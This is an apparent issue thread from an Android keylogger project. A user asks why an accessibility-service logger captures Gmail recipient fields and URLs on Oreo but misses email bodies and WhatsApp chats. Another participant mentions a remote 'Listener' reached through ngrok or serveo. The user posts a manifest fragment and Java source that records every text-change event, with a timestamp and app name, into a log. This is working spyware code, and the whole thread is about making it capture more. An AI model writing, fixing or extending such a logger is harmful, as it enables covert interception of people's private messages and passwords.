Oreo- text change within apps not working

[jatayu86]

Hi , Has this been tested in Oreo 8.0 or 8.1?I can find that only some text change events get triggered.For eg, open Gmail and compose a new mail, the 'To address' text gets logged, but the body text isn't .Similarly with other apps like watsapp. Do we have any kind of workthrough?

[vanshsantoshi]

Have you set up the Listener on your own phone ? (Like using serveo or ngrok) If yes , your phone can't handle too many requests , so most of the data aren't logged

[vanshsantoshi]

I think it should log everything I believe there must be some mistake / problem on your Listener side , can you give me details ?

[jatayu86]

I think it should log everything I believe there must be some mistake / problem on your Listener side , can you give me details ?

There is no listener, the issue was simulatable both in emulator and phone using Oreo.The TYPE_VIEW_TEXT_CHANGED is not triggered for items like body of email,chats. Trigger of the 'To' email address,browser url data comes up fine as events.

PS: All these work fine for Android Q. For Pie nothing is triggered.

    <service android:name=".MyAccessibilityService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
        <intent-filter>
            <action android:name="android.accessibilityservice.AccessibilityService" />
        </intent-filter>
    </service>
</application>
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="27" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

Accessibility service:

import android.os.Bundle; import org.apache.cordova.; import android.accessibilityservice.AccessibilityService; import android.accessibilityservice.AccessibilityServiceInfo; import android.content.Context; import android.provider.Settings; import android.text.TextUtils; import android.util.Log; import android.view.WindowManager; import android.view.accessibility.AccessibilityEvent; import java.io.; import java.util.*; import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

public class MyAccessibilityService extends AccessibilityService { private static Context context; long tStart = System.currentTimeMillis(); public void onCreate() { super.onCreate(); MyAccessibilityService.context = getApplicationContext(); } public static Context getAppContext() { return MyAccessibilityService.context; } @Override public void onAccessibilityEvent(AccessibilityEvent event) { final int eventType = event.getEventType(); String eventText = null; switch(eventType) { case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: Calendar c = Calendar.getInstance(); SimpleDateFormat df = new SimpleDateFormat("dd-MM-yyyy HH:mm:ss"); String formattedDate = df.format(c.getTime()); final String sourcePackageName = (String) event.getPackageName(); eventText = formattedDate+" in ["+sourcePackageName+"]>>>>"; break; } List text = event.getText(); CharSequence latestText = (CharSequence) text.get(0); eventText = eventText + latestText; System.out.println("ACCESSIBILITY SERVICE : "+eventText); appendLog(eventText); }